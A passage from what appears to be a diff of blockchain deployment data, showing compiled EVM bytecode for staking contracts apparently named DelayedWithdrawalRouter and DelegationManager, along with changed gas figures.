c9565b6040516101bf9190611acd565b34801561047e57600080fd5b5061017061048d366004611948565b611183565b34801561049e57600080fd5b506101706104ad36600461196c565b6111f9565b609760009054906101000a90046001600160a01b03166001600160a01b031663eab66d7a6040518163ffffffff1660e01b8152600401602060405180830381865afa158015610505573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105299190611b25565b6001600160a01b0316336001600160a01b0316146105625760405162461bcd60e51b815260040161055990611b42565b60405180910390fd5b61056b81611355565b50565b60975460405163237dfb4760e11b81523360048201526001600160a01b03909116906346fbf68e90602401602060405180830381865afa1580156105b6573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105da9190611b8c565b6105f65760405162461bcd60e51b815260040161055990611bae565b6098548181161461066f5760405162461bcd60e51b815260206004820152603860248201527f5061757361626c652e70617573653a20696e76616c696420617474656d70742060448201527f746f20756e70617573652066756e6374696f6e616c69747900000000000000006064820152608401610559565b609881905560405181815233907fab40a374bc51de372200a8bc981af8c9ecdc08dfdaef0bb6e09f88f3c616ef3d906020015b60405180910390a250565b6001600160a01b038116600090815260ca6020526040812080546001909101546060926106da8383611c0c565b90508060005b8281101561077c576001600160a01b038716600090815260ca6020526040812060010161070d8388611c1f565b8154811061071d5761071d611c32565b6000918252602091829020604080518082019091529101546001600160e01b0381168252600160e01b900463ffffffff1691810182905260c95490925061076391611c1f565b431015610773578192505061077c565b506001016106e0565b508060008167ffffffffffffffff81111561079957610799611c48565b6040519080825280602002602001820160405280156107de57816020015b60408051808201909152600080825260208201528152602001906001900390816107b75790505b50905081156108885760005b82811015610886576001600160a01b038916600090815260ca602052604090206001016108178289611c1f565b8154811061082757610827611c32565b6000918252602091829020604080518082019091529101546001600160e01b0381168252600160e01b900463ffffffff1691810191909152825183908390811061087357610873611c32565b60209081029190910101526001016107ea565b505b979650505050505050565b6001600160a01b038116600090815260ca6020526040812080546001909101546060926108c08383611c0c565b905060008167ffffffffffffffff8111156108dd576108dd611c48565b60405190808252806020026020018201604052801561092257816020015b60408051808201909152600080825260208201528152602001906001900390816108fb5790505b50905060005b828110156109c4576001600160a01b038716600090815260ca602052604090206001016109558287611c1f565b8154811061096557610965611c32565b6000918252602091829020604080518082019091529101546001600160e01b0381168252600160e01b900463ffffffff169181019190915282518390839081106109b1576109b1611c32565b6020908102919091010152600101610928565b5095945050505050565b6109d661144c565b61056b816114a6565b60975460405163237dfb4760e11b81523360048201526001600160a01b03909116906346fbf68e90602401602060405180830381865afa158015610a27573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a4b9190611b8c565b610a675760405162461bcd60e51b815260040161055990611bae565b600019609881905560405190815233907fab40a374bc51de372200a8bc981af8c9ecdc08dfdaef0bb6e09f88f3c616ef3d9060200160405180910390a2565b610aae61144c565b610ab8600061156e565b565b6001600160a01b038216600090815260ca60205260408120548210801590610b34575060c9546001600160a01b038416600090815260ca60205260409020600101805484908110610b0d57610b0d611c32565b600091825260209091200154610b309190600160e01b900463ffffffff16611c1f565b4310155b90505b92915050565b60408051808201909152600080825260208201526001600160a01b038316600090815260ca60205260409020600101805483908110610b7e57610b7e611c32565b6000918252602091829020604080518082019091529101546001600160e01b0381168252600160e01b900463ffffffff16918101919091529392505050565b60405163a38406a360e01b81526001600160a01b038084166004830152839133917f0000000000000000000000002279b7a0a67db372996a5fab50d91eaa73d2ebe6169063a38406a390602401602060405180830381865afa158015610c27573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c4b9190611b25565b6001600160a01b031614610cc75760405162461bcd60e51b815260206004820152603d60248201527f44656c617965645769746864726177616c526f757465722e6f6e6c794569676560448201527f6e506f643a206e6f7420706f644f776e6572277320456967656e506f640000006064820152608401610559565b609854600090600190811603610cef5760405162461bcd60e51b815260040161055990611c5e565b6001600160a01b038316610d855760405162461bcd60e51b815260206004820152605160248201527f44656c617965645769746864726177616c526f757465722e637265617465446560448201527f6c617965645769746864726177616c3a20726563697069656e742063616e6e6f60648201527074206265207a65726f206164647265737360781b608482015260a401610559565b346001600160e01b03811615610e75576040805180820182526001600160e01b03808416825263ffffffff43811660208085019182526001600160a01b038a16600081815260ca8352968720600190810180548083018255818a5293892088519551909616600160e01b029490961693909317939091019290925593525490917fb8f1b14c7caf74150801dcc9bc18d575cbeaf5b421943497e409df92c92e0f5991889188918691610e3691611c0c565b604080516001600160a01b0395861681529490931660208501526001600160e01b039091169183019190915260608201526080015b60405180910390a1505b5050505050565b600260655403610ece5760405162461bcd60e51b815260206004820152601f60248201527f5265656e7472616e637947756172643a207265656e7472616e742063616c6c006044820152606401610559565b6002606555609854600090600190811603610efb5760405162461bcd60e51b815260040161055990611c5e565b610f0533836115c0565b50506001606555565b600260655403610f605760405162461bcd60e51b815260206004820152601f60248201527f5265656e7472616e637947756172643a207265656e7472616e742063616c6c006044820152606401610559565b6002606555609854600090600190811603610f8d5760405162461bcd60e51b815260040161055990611c5e565b610f9783836115c0565b5050600160655550565b600054610100900460ff1615808015610fc15750600054600160ff909116105b80610fdb5750303b158015610fdb575060005460ff166001145b61103e5760405162461bcd60e51b815260206004820152602e60248201527f496e697469616c697a61626c653a20636f6e747261637420697320616c72656160448201526d191e481a5b9a5d1a585b1a5e995960921b6064820152608401610559565b6000805460ff191660011790558015611061576000805461ff0019166101001790555b61106a8561156e565b611074848461172b565b61107d826114a6565b8015610e75576000805461ff0019169055604051600181527f7f26b83ff96e1f2b6a682f133852f6798a09c465da95921460cefb38474024989060200160405180910390a15050505050565b6040805180820190915260008152606060208201526001600160a01b038216600090815260ca6020908152604080832081518083018352815481526001820180548451818702810187019095528085529195929486810194939192919084015b8282101561117557600084815260209081902060408051808201909152908401546001600160e01b0381168252600160e01b900463ffffffff1681830152825260019092019101611129565b505050915250909392505050565b61118b61144c565b6001600160a01b0381166111f05760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610559565b61056b8161156e565b609760009054906101000a90046001600160a01b03166001600160a01b031663eab66d7a6040518163ffffffff1660e01b8152600401602060405180830381865afa15801561124c573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906112709190611b25565b6001600160a01b0316336001600160a01b0316146112a05760405162461bcd60e51b815260040161055990611b42565b60985419811960985419161461131e5760405162461bcd60e51b815260206004820152603860248201527f5061757361626c652e756e70617573653a20696e76616c696420617474656d7060448201527f7420746f2070617573652066756e6374696f6e616c69747900000000000000006064820152608401610559565b609881905560405181815233907f3582d1828e26bf56bd801502bc021ac0bc8afb57c826e4986b45593c8fad389c906020016106a2565b6001600160a01b0381166113e35760405162461bcd60e51b815260206004820152604960248201527f5061757361626c652e5f73657450617573657252656769737472793a206e657760448201527f50617573657252656769737472792063616e6e6f7420626520746865207a65726064820152686f206164647265737360b81b608482015260a401610559565b609754604080516001600160a01b03928316815291831660208301527f6e9fcd539896fca60e8b0f01dd580233e48a6b0f7df013b89ba7f565869acdb6910160405180910390a1609780546001600160a01b0319166001600160a01b0392909216919091179055565b6033546001600160a01b03163314610ab85760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610559565b62034bc081111561152d5760405162461bcd60e51b815260206004820152604560248201527f44656c617965645769746864726177616c526f757465722e5f7365745769746860448201527f64726177616c44656c6179426c6f636b733a206e657756616c756520746f6f206064820152646c6172676560d81b608482015260a401610559565b60c95460408051918252602082018390527f4ffb00400574147429ee377a5633386321e66d45d8b14676014b5fa393e61e9e910160405180910390a160c955565b603380546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b6001600160a01b038216600090815260ca602052604081208054600190910154825b84811080156115f95750816115f78285611c1f565b105b156116a6576001600160a01b038616600090815260ca602052604081206001016116238386611c1f565b8154811061163357611633611c32565b6000918252602091829020604080518082019091529101546001600160e01b0381168252600160e01b900463ffffffff1691810182905260c95490925061167991611c1f565b43101561168657506116a6565b805161169b906001600160e01b031686611c1f565b9450506001016115e2565b6116b08184611c1f565b6001600160a01b038716600090815260ca602052604090205583156116d9576116d98685611815565b7f6b7151500bd0b5cc211bcc47b3029831b769004df4549e8e1c9a69da05bb094386856117068487611c1f565b604080516001600160a01b039094168452602084019290925290820152606001610e6b565b6097546001600160a01b031615801561174c57506001600160a01b03821615155b6117ce5760405162461bcd60e51b815260206004820152604760248201527f5061757361626c652e5f696e697469616c697a655061757365723a205f696e6960448201527f7469616c697a6550617573657228292063616e206f6e6c792062652063616c6c6064820152666564206f6e636560c81b608482015260a401610559565b609881905560405181815233907fab40a374bc51de372200a8bc981af8c9ecdc08dfdaef0bb6e09f88f3c616ef3d9060200160405180910390a261181182611355565b5050565b804710156118655760405162461bcd60e51b815260206004820152601d60248201527f416464726573733a20696e73756666696369656e742062616c616e63650000006044820152606401610559565b6000826001600160a01b03168260405160006040518083038185875af1925050503d80600081146118b2576040519150601f19603f3d011682016040523d82523d6000602084013e6118b7565b606091505b505090508061192e5760405162461bcd60e51b815260206004820152603a60248201527f416464726573733a20756e61626c6520746f2073656e642076616c75652c207260448201527f6563697069656e74206d617920686176652072657665727465640000000000006064820152608401610559565b505050565b6001600160a01b038116811461056b57600080fd5b60006020828403121561195a57600080fd5b813561196581611933565b9392505050565b60006020828403121561197e57600080fd5b5035919050565b80516001600160e01b0316825260209081015163ffffffff16910152565b602080825282518282018190526000918401906040840190835b818110156119e6576119d0838551611985565b60209390930192604092909201916001016119bd565b509095945050505050565b600060208284031215611a0357600080fd5b813560ff8116811461196557600080fd5b60008060408385031215611a2757600080fd5b8235611a3281611933565b946020939093013593505050565b60408101610b378284611985565b60008060408385031215611a6157600080fd5b8235611a6c81611933565b91506020830135611a7c81611933565b809150509250929050565b60008060008060808587031215611a9d57600080fd5b8435611aa881611933565b93506020850135611ab881611933565b93969395505050506040820135916060013590565b6020808252825182820152828101516040808401528051606084018190526000929190910190829060808501905b808310156109c457611b0e828551611985565b604082019150602084019350600183019250611afb565b600060208284031215611b3757600080fd5b815161196581611933565b6020808252602a908201527f6d73672e73656e646572206973206e6f74207065726d697373696f6e6564206160408201526939903ab73830bab9b2b960b11b606082015260800190565b600060208284031215611b9e57600080fd5b8151801515811461196557600080fd5b60208082526028908201527f6d73672e73656e646572206973206e6f74207065726d697373696f6e6564206160408201526739903830bab9b2b960c11b606082015260800190565b634e487b7160e01b600052601160045260246000fd5b81810381811115610b3757610b37611bf6565b80820180821115610b3757610b37611bf6565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052604160045260246000fd5b60208082526019908201527f5061757361626c653a20696e646578206973207061757365640000000000000060408201526060019056fea264697066735822122006da243d7e477e428ad2745c456c9ef84e039e1a55dc000ea6c524cb236906b864736f6c634300081c0033", - "gas_used": 1499498, - "gas_limit": 2001719, + "data": "0x61010060405234801561001157600080fd5b50604051615c04380380615c0483398101604081905261003091610135565b6001600160a01b0380841660805280821660c052821660a05261005161005d565b50504660e05250610182565b600054610100900460ff16156100c95760405162461bcd60e51b815260206004820152602760248201527f496e697469616c697a61626c653a20636f6e747261637420697320696e697469604482015266616c697a696e6760c81b606482015260840160405180910390fd5b60005460ff908116101561011b576000805460ff191660ff9081179091556040519081527f7f26b83ff96e1f2b6a682f133852f6798a09c465da95921460cefb38474024989060200160405180910390a15b565b6001600160a01b038116811461013257600080fd5b50565b60008060006060848603121561014a57600080fd5b83516101558161011d565b60208501519093506101668161011d565b60408501519092506101778161011d565b809150509250925092565b60805160a05160c05160e0516159ee61021660003960006126560152600081816105b10152818161101d0152818161139901528181611be5015281816129b001528181613e5b0152614347015260006107620152600081816104f901528181610feb0152818161136701528181611c7901528181612a7d01528181612c0001528181613f8101526143ed01526159ee6000f3fe608060405234801561001057600080fd5b50600436106103425760003560e01c8063635bbd10116101b8578063b7f06ebe11610104578063cf80873e116100a2578063f16172b01161007c578063f16172b014610908578063f2fde38b1461091b578063f698da251461092e578063fabc1cbc1461093657600080fd5b8063cf80873e146108c1578063da8be864146108e2578063eea9064b146108f557600080fd5b8063c488375a116100de578063c488375a146107de578063c5e480db146107fe578063c94b5111146108a4578063ca661c04146108b757600080fd5b8063b7f06ebe14610784578063bb45fef2146107a7578063c448feb8146107d557600080fd5b8063886f1195116101715780639104c3191161014b5780639104c3191461070f57806399be81c81461072a578063a17884841461073d578063b13442711461075d57600080fd5b8063886f1195146106cb5780638da5cb5b146106de57806390041347146106ef57600080fd5b8063635bbd101461063657806365da1264146106495780636d70f7ae14610672578063715018a614610685578063778e55f31461068d5780637f548071146106b857600080fd5b806328a573ae116102925780634665bcda11610230578063597b36da1161020a578063597b36da146105e55780635ac86ab7146105f85780635c975abb1461061b57806360d7faed1461062357600080fd5b80634665bcda146105ac5780634fc40b61146105d3578063595c6a67146105dd57600080fd5b806339b70e381161026c57806339b70e38146104f45780633cdeb5e0146105335780633e28391d14610562578063433773821461058557600080fd5b806328a573ae146104ae57806329c77d4f146104c157806333404396146104e157600080fd5b8063132d4967116102ff57806316928365116102d957806316928365146104285780631bbce0911461046157806320606b701461047457806322bf40e41461049b57600080fd5b8063132d4967146103ef578063136439dd146104025780631522bf021461041557600080fd5b80630449ca391461034757806304a4f9791461036d5780630b9f487a146103945780630dd8dd02146103a75780630f589e59146103c757806310d67a2f146103dc575b600080fd5b61035a6103553660046147f6565b610949565b6040519081526020015b60405180910390f35b61035a7f14bde674c9f64b2ad00eaaee4a8bed1fabef35c7507e3c5b9cfc9436909a2dad81565b61035a6103a236600461485c565b6109c8565b6103ba6103b53660046147f6565b610a8a565b60405161036491906148b7565b6103da6103d5366004614948565b610de8565b005b6103da6103ea36600461499b565b610f2d565b6103da6103fd3660046149bf565b610fe0565b6103da610410366004614a00565b611097565b6103da610423366004614a19565b6111d6565b61035a61043636600461499b565b6001600160a01b0316600090815260996020526040902060010154600160a01b900463ffffffff1690565b61035a61046f3660046149bf565b6111ea565b61035a7f8cad95687ba82c2ce50e74f7b754645e5117c3a5bec8151c0726d5857980a86681565b6103da6104a9366004614a88565b611218565b6103da6104bc3660046149bf565b61135c565b61035a6104cf36600461499b565b609b6020526000908152604090205481565b6103da6104ef366004614b33565b61140c565b61051b7f000000000000000000000000000000000000000000000000000000000000000081565b6040516001600160a01b039091168152602001610364565b61051b61054136600461499b565b6001600160a01b039081166000908152609960205260409020600101541690565b61057561057036600461499b565b61153f565b6040519015158152602001610364565b61035a7f39111bc4a4d688e1f685123d7497d4615370152a8ee4a0593e647bd06ad8bb0b81565b61051b7f000000000000000000000000000000000000000000000000000000000000000081565b61035a6213c68081565b6103da61155f565b61035a6105f3366004614e4a565b611626565b610575610606366004614e86565b606654600160ff9092169190911b9081161490565b60665461035a565b6103da610631366004614eb7565b611656565b6103da610644366004614a00565b6116ef565b61051b61065736600461499b565b609a602052600090815260409020546001600160a01b031681565b61057561068036600461499b565b611700565b6103da611721565b61035a61069b366004614f47565b609860209081526000928352604080842090915290825290205481565b6103da6106c636600461502b565b611735565b60655461051b906001600160a01b031681565b6033546001600160a01b031661051b565b6107026106fd3660046150bf565b611961565b604051610364919061514a565b61051b73beac0eeeeeeeeeeeeeeeeeeeeeeeeeeeeeebeac081565b6103da61073836600461515d565b611a33565b61035a61074b36600461499b565b609f6020526000908152604090205481565b61051b7f000000000000000000000000000000000000000000000000000000000000000081565b610575610792366004614a00565b609e6020526000908152604090205460ff1681565b6105756107b5366004615192565b609c60209081526000928352604080842090915290825290205460ff1681565b61035a609d5481565b61035a6107ec36600461499b565b60a16020526000908152604090205481565b61086e61080c36600461499b565b6040805160608082018352600080835260208084018290529284018190526001600160a01b03948516815260998352839020835191820184528054851682526001015493841691810191909152600160a01b90920463ffffffff169082015290565b6040805182516001600160a01b039081168252602080850151909116908201529181015163ffffffff1690820152606001610364565b61035a6108b23660046151be565b611b05565b61035a62034bc081565b6108d46108cf36600461499b565b611bbe565b604051610364929190615241565b6103ba6108f036600461499b565b611f75565b6103da610903366004615266565b61242e565b6103da6109163660046152bf565b61254b565b6103da61092936600461499b565b6125dc565b61035a612652565b6103da610944366004614a00565b61268f565b609d54600090815b838110156109be57600060a16000878785818110610971576109716152db565b9050602002016020810190610986919061499b565b6001600160a01b03166001600160a01b03168152602001908152602001600020549050828111156109b5578092505b50600101610951565b5090505b92915050565b604080517f14bde674c9f64b2ad00eaaee4a8bed1fabef35c7507e3c5b9cfc9436909a2dad6020808301919091526001600160a01b038681168385015288811660608401528716608083015260a0820185905260c08083018590528351808403909101815260e0909201909252805191012060009081610a46612652565b60405161190160f01b602082015260228101919091526042810183905260620160408051808303601f19018152919052805160209091012098975050505050505050565b606654606090600190600290811603610abe5760405162461bcd60e51b8152600401610ab5906152f1565b60405180910390fd5b6000836001600160401b03811115610ad857610ad8614be6565b604051908082528060200260200182016040528015610b01578160200160208202803683370190505b50336000908152609a60205260408120549192506001600160a01b03909116905b85811015610ddd57868682818110610b3c57610b3c6152db565b9050602002810190610b4e9190615328565b610b5c906020810190615348565b9050878783818110610b7057610b706152db565b9050602002810190610b829190615328565b610b8c9080615348565b905014610c015760405162461bcd60e51b815260206004820152603860248201527f44656c65676174696f6e4d616e616765722e717565756557697468647261776160448201527f6c3a20696e707574206c656e677468206d69736d6174636800000000000000006064820152608401610ab5565b33878783818110610c1457610c146152db565b9050602002810190610c269190615328565b610c3790606081019060400161499b565b6001600160a01b031614610cb35760405162461bcd60e51b815260206004820152603c60248201527f44656c65676174696f6e4d616e616765722e717565756557697468647261776160448201527f6c3a2077697468647261776572206d757374206265207374616b6572000000006064820152608401610ab5565b610db83383898985818110610cca57610cca6152db565b9050602002810190610cdc9190615328565b610ced90606081019060400161499b565b8a8a86818110610cff57610cff6152db565b9050602002810190610d119190615328565b610d1b9080615348565b808060200260200160405190810160405280939291908181526020018383602002808284376000920191909152508e92508d9150889050818110610d6157610d616152db565b9050602002810190610d739190615328565b610d81906020810190615348565b808060200260200160405190810160405280939291908181526020018383602002808284376000920191909152506127eb92505050565b838281518110610dca57610dca6152db565b6020908102919091010152600101610b22565b509095945050505050565b610df13361153f565b15610e775760405162461bcd60e51b815260206004820152604a60248201527f44656c65676174696f6e4d616e616765722e726567697374657241734f70657260448201527f61746f723a2063616c6c657220697320616c7265616479206163746976656c796064820152690819195b1959d85d195960b21b608482015260a401610ab5565b610e813384612dad565b604080518082019091526060815260006020820152610ea33380836000612fa0565b336001600160a01b03167f8e8485583a2310d41f7c82b9427d0bd49bad74bb9cff9d3402a29d8f9b28a0e285604051610edc9190615391565b60405180910390a2336001600160a01b03167f02a919ed0e2acad1dd90f17ef2fa4ae5462ee1339170034a8531cca4b67080908484604051610f1f9291906153e8565b60405180910390a250505050565b606560009054906101000a90046001600160a01b03166001600160a01b031663eab66d7a6040518163ffffffff1660e01b8152600401602060405180830381865afa158015610f80573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610fa49190615417565b6001600160a01b0316336001600160a01b031614610fd45760405162461bcd60e51b8152600401610ab590615434565b610fdd81613235565b50565b336001600160a01b037f000000000000000000000000000000000000000000000000000000000000000016148061103f5750336001600160a01b037f000000000000000000000000000000000000000000000000000000000000000016145b61105b5760405162461bcd60e51b8152600401610ab59061547e565b6110648361153f565b15611092576001600160a01b038084166000908152609a6020526040902054166110908185858561332c565b505b505050565b60655460405163237dfb4760e11b81523360048201526001600160a01b03909116906346fbf68e90602401602060405180830381865afa1580156110df573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061110391906154db565b61111f5760405162461bcd60e51b8152600401610ab5906154f8565b606654818116146111985760405162461bcd60e51b815260206004820152603860248201527f5061757361626c652e70617573653a20696e76616c696420617474656d70742060448201527f746f20756e70617573652066756e6374696f6e616c69747900000000000000006064820152608401610ab5565b606681905560405181815233907fab40a374bc51de372200a8bc981af8c9ecdc08dfdaef0bb6e09f88f3c616ef3d906020015b60405180910390a250565b6111de6133a7565b61109084848484613401565b6001600160a01b0383166000908152609b602052604081205461120f85828686611b05565b95945050505050565b600054610100900460ff16158080156112385750600054600160ff909116105b806112525750303b158015611252575060005460ff166001145b6112b55760405162461bcd60e51b815260206004820152602e60248201527f496e697469616c697a61626c653a20636f6e747261637420697320616c72656160448201526d191e481a5b9a5d1a585b1a5e995960921b6064820152608401610ab5565b6000805460ff1916600117905580156112d8576000805461ff0019166101001790555b6112e28888613621565b6112ea61370b565b6097556112f6896137a2565b6112ff866137f4565b61130b85858585613401565b8015611351576000805461ff0019169055604051600181527f7f26b83ff96e1f2b6a682f133852f6798a09c465da95921460cefb38474024989060200160405180910390a15b505050505050505050565b336001600160a01b037f00000000000000000000000000000000000000000000000000000000000000001614806113bb5750336001600160a01b037f000000000000000000000000000000000000000000000000000000000000000016145b6113d75760405162461bcd60e51b8152600401610ab59061547e565b6113e08361153f565b15611092576001600160a01b038084166000908152609a602052604090205416611090818585856138ee565b6066546002906004908116036114345760405162461bcd60e51b8152600401610ab5906152f1565b600260c954036114865760405162461bcd60e51b815260206004820152601f60248201527f5265656e7472616e637947756172643a207265656e7472616e742063616c6c006044820152606401610ab5565b600260c95560005b8881101561152e576115268a8a838181106114ab576114ab6152db565b90506020028101906114bd9190615540565b8989848181106114cf576114cf6152db565b90506020028101906114e19190615348565b8989868181106114f3576114f36152db565b9050602002013588888781811061150c5761150c6152db565b90506020020160208101906115219190615556565b613969565b60010161148e565b5050600160c9555050505050505050565b6001600160a01b039081166000908152609a602052604090205416151590565b60655460405163237dfb4760e11b81523360048201526001600160a01b03909116906346fbf68e90602401602060405180830381865afa1580156115a7573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906115cb91906154db565b6115e75760405162461bcd60e51b8152600401610ab5906154f8565b600019606681905560405190815233907fab40a374bc51de372200a8bc981af8c9ecdc08dfdaef0bb6e09f88f3c616ef3d9060200160405180910390a2565b60008160405160200161163991906155f2565b604051602081830303815290604052805190602001209050919050565b60665460029060049081160361167e5760405162461bcd60e51b8152600401610ab5906152f1565b600260c954036116d05760405162461bcd60e51b815260206004820152601f60248201527f5265656e7472616e637947756172643a207265656e7472616e742063616c6c006044820152606401610ab5565b600260c9556116e28686868686613969565b5050600160c95550505050565b6116f76133a7565b610fdd816137f4565b6001600160a01b039081166000818152609a60205260409020549091161490565b6117296133a7565b61173360006137a2565b565b42836020015110156117b95760405162461bcd60e51b815260206004820152604160248201527f44656c65676174696f6e4d616e616765722e64656c6567617465546f4279536960448201527f676e61747572653a207374616b6572207369676e6174757265206578706972656064820152601960fa1b608482015260a401610ab5565b6117c28561153f565b1561184b5760405162461bcd60e51b815260206004820152604d60248201527f44656c65676174696f6e4d616e616765722e64656c6567617465546f4279536960448201527f676e61747572653a207374616b657220697320616c726561647920616374697660648201526c195b1e4819195b1959d85d1959609a1b608482015260a401610ab5565b61185484611700565b6118e05760405162461bcd60e51b815260206004820152605160248201527f44656c65676174696f6e4d616e616765722e64656c6567617465546f4279536960448201527f676e61747572653a206f70657261746f72206973206e6f7420726567697374656064820152703932b21034b71022b4b3b2b72630bcb2b960791b608482015260a401610ab5565b6000609b6000876001600160a01b03166001600160a01b03168152602001908152602001600020549050600061191c8783888860200151611b05565b6001600160a01b0388166000908152609b60205260409020600184019055855190915061194c9088908390614152565b61195887878686612fa0565b50505050505050565b6060600082516001600160401b0381111561197e5761197e614be6565b6040519080825280602002602001820160405280156119a7578160200160208202803683370190505b50905060005b83518110156109be576001600160a01b038516600090815260986020526040812085519091908690849081106119e5576119e56152db565b60200260200101516001600160a01b03166001600160a01b0316815260200190815260200160002054828281518110611a2057611a206152db565b60209081029190910101526001016119ad565b611a3c33611700565b611abe5760405162461bcd60e51b815260206004820152604760248201527f44656c65676174696f6e4d616e616765722e7570646174654f70657261746f7260448201527f4d657461646174615552493a2063616c6c6572206d75737420626520616e206f6064820152663832b930ba37b960c91b608482015260a401610ab5565b336001600160a01b03167f02a919ed0e2acad1dd90f17ef2fa4ae5462ee1339170034a8531cca4b67080908383604051611af99291906153e8565b60405180910390a25050565b604080517f39111bc4a4d688e1f685123d7497d4615370152a8ee4a0593e647bd06ad8bb0b6020808301919091526001600160a01b0387811683850152851660608301526080820186905260a08083018590528351808403909101815260c0909201909252805191012060009081611b7b612652565b60405161190160f01b602082015260228101919091526042810183905260620160408051808303601f190181529190528051602090910120979650505050505050565b6040516360f4062b60e01b81526001600160a01b03828116600483015260609182916000917f0000000000000000000000000000000000000000000000000000000000000000909116906360f4062b90602401602060405180830381865afa158015611c2e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611c529190615605565b6040516394f649dd60e01b81526001600160a01b03868116600483015291925060009182917f0000000000000000000000000000000000000000000000000000000000000000909116906394f649dd90602401600060405180830381865afa158015611cc2573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f19168201604052611cea919081019061567c565b9150915060008313611d0157909590945092505050565b6060808351600003611dba576040805160018082528183019092529060208083019080368337505060408051600180825281830190925292945090506020808301908036833701905050905073beac0eeeeeeeeeeeeeeeeeeeeeeeeeeeeeebeac082600081518110611d7557611d756152db565b60200260200101906001600160a01b031690816001600160a01b0316815250508481600081518110611da957611da96152db565b602002602001018181525050611f68565b8351611dc7906001615753565b6001600160401b03811115611dde57611dde614be6565b604051908082528060200260200182016040528015611e07578160200160208202803683370190505b50915081516001600160401b03811115611e2357611e23614be6565b604051908082528060200260200182016040528015611e4c578160200160208202803683370190505b50905060005b8451811015611ee657848181518110611e6d57611e6d6152db565b6020026020010151838281518110611e8757611e876152db565b60200260200101906001600160a01b031690816001600160a01b031681525050838181518110611eb957611eb96152db565b6020026020010151828281518110611ed357611ed36152db565b6020908102919091010152600101611e52565b5073beac0eeeeeeeeeeeeeeeeeeeeeeeeeeeeeebeac08260018451611f0b9190615766565b81518110611f1b57611f1b6152db565b60200260200101906001600160a01b031690816001600160a01b031681525050848160018451611f4b9190615766565b81518110611f5b57611f5b6152db565b6020026020010181815250505b9097909650945050505050565b606654606090600190600290811603611fa05760405162461bcd60e51b8152600401610ab5906152f1565b611fa98361153f565b6120295760405162461bcd60e51b8152602060048201526044602482018190527f44656c65676174696f6e4d616e616765722e756e64656c65676174653a207374908201527f616b6572206d7573742062652064656c65676174656420746f20756e64656c656064820152636761746560e01b608482015260a401610ab5565b61203283611700565b156120a55760405162461bcd60e51b815260206004820152603d60248201527f44656c65676174696f6e4d616e616765722e756e64656c65676174653a206f7060448201527f657261746f72732063616e6e6f7420626520756e64656c6567617465640000006064820152608401610ab5565b6001600160a01b0383166121215760405162461bcd60e51b815260206004820152603c60248201527f44656c65676174696f6e4d616e616765722e756e64656c65676174653a20636160448201527f6e6e6f7420756e64656c6567617465207a65726f2061646472657373000000006064820152608401610ab5565b6001600160a01b038084166000818152609a6020526040902054909116903314806121545750336001600160a01b038216145b8061217b57506001600160a01b038181166000908152609960205260409020600101541633145b6121ed5760405162461bcd60e51b815260206004820152603d60248201527f44656c65676174696f6e4d616e616765722e756e64656c65676174653a20636160448201527f6c6c65722063616e6e6f7420756e64656c6567617465207374616b65720000006064820152608401610ab5565b6000806121f986611bbe565b9092509050336001600160a01b0387161461224f57826001600160a01b0316866001600160a01b03167ff0eddf07e6ea14f388b47e1e94a0f464ecbd9eed4171130e0fc0e99fb4030a8a60405160405180910390a35b826001600160a01b0316866001600160a01b03167ffee30966a256b71e14bc0ebfc94315e28ef4a97a7131a9e2b7a310a73af4467660405160405180910390a36001600160a01b0386166000908152609a6020526040812080546001600160a01b0319169055825190036122d3576040805160008152602081019091529450612425565b81516001600160401b038111156122ec576122ec614be6565b604051908082528060200260200182016040528015612315578160200160208202803683370190505b50945060005b82518110156124235760408051600180825281830190925260009160208083019080368337505060408051600180825281830190925292935060009291506020808301908036833701905050905084838151811061237b5761237b6152db565b602002602001015182600081518110612396576123966152db565b60200260200101906001600160a01b031690816001600160a01b0316815250508383815181106123c8576123c86152db565b6020026020010151816000815181106123e3576123e36152db565b6020026020010181815250506123fc89878b85856127eb565b88848151811061240e5761240e6152db565b6020908102919091010152505060010161231b565b505b50505050919050565b6124373361153f565b156124b55760405162461bcd60e51b815260206004820152604260248201527f44656c65676174696f6e4d616e616765722e64656c6567617465546f3a20737460448201527f616b657220697320616c7265616479206163746976656c792064656c65676174606482015261195960f21b608482015260a401610ab5565b6124be83611700565b61253f5760405162461bcd60e51b815260206004820152604660248201527f44656c65676174696f6e4d616e616765722e64656c6567617465546f3a206f7060448201527f657261746f72206973206e6f74207265676973746572656420696e2045696765606482015265372630bcb2b960d11b608482015260a401610ab5565b61109233848484612fa0565b61255433611700565b6125d25760405162461bcd60e51b815260206004820152604360248201527f44656c65676174696f6e4d616e616765722e6d6f646966794f70657261746f7260448201527f44657461696c733a2063616c6c6572206d75737420626520616e206f706572616064820152623a37b960e91b608482015260a401610ab5565b610fdd3382612dad565b6125e46133a7565b6001600160a01b0381166126495760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610ab5565b610fdd816137a2565b60007f00000000000000000000000000000000000000000000000000000000000000004603612682575060975490565b61268a61370b565b905090565b606560009054906101000a90046001600160a01b03166001600160a01b031663eab66d7a6040518163ffffffff1660e01b8152600401602060405180830381865afa1580156126e2573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906127069190615417565b6001600160a01b0316336001600160a01b0316146127365760405162461bcd60e51b8152600401610ab590615434565b6066541981196066541916146127b45760405162461bcd60e51b815260206004820152603860248201527f5061757361626c652e756e70617573653a20696e76616c696420617474656d7060448201527f7420746f2070617573652066756e6374696f6e616c69747900000000000000006064820152608401610ab5565b606681905560405181815233907f3582d1828e26bf56bd801502bc021ac0bc8afb57c826e4986b45593c8fad389c906020016111cb565b600060016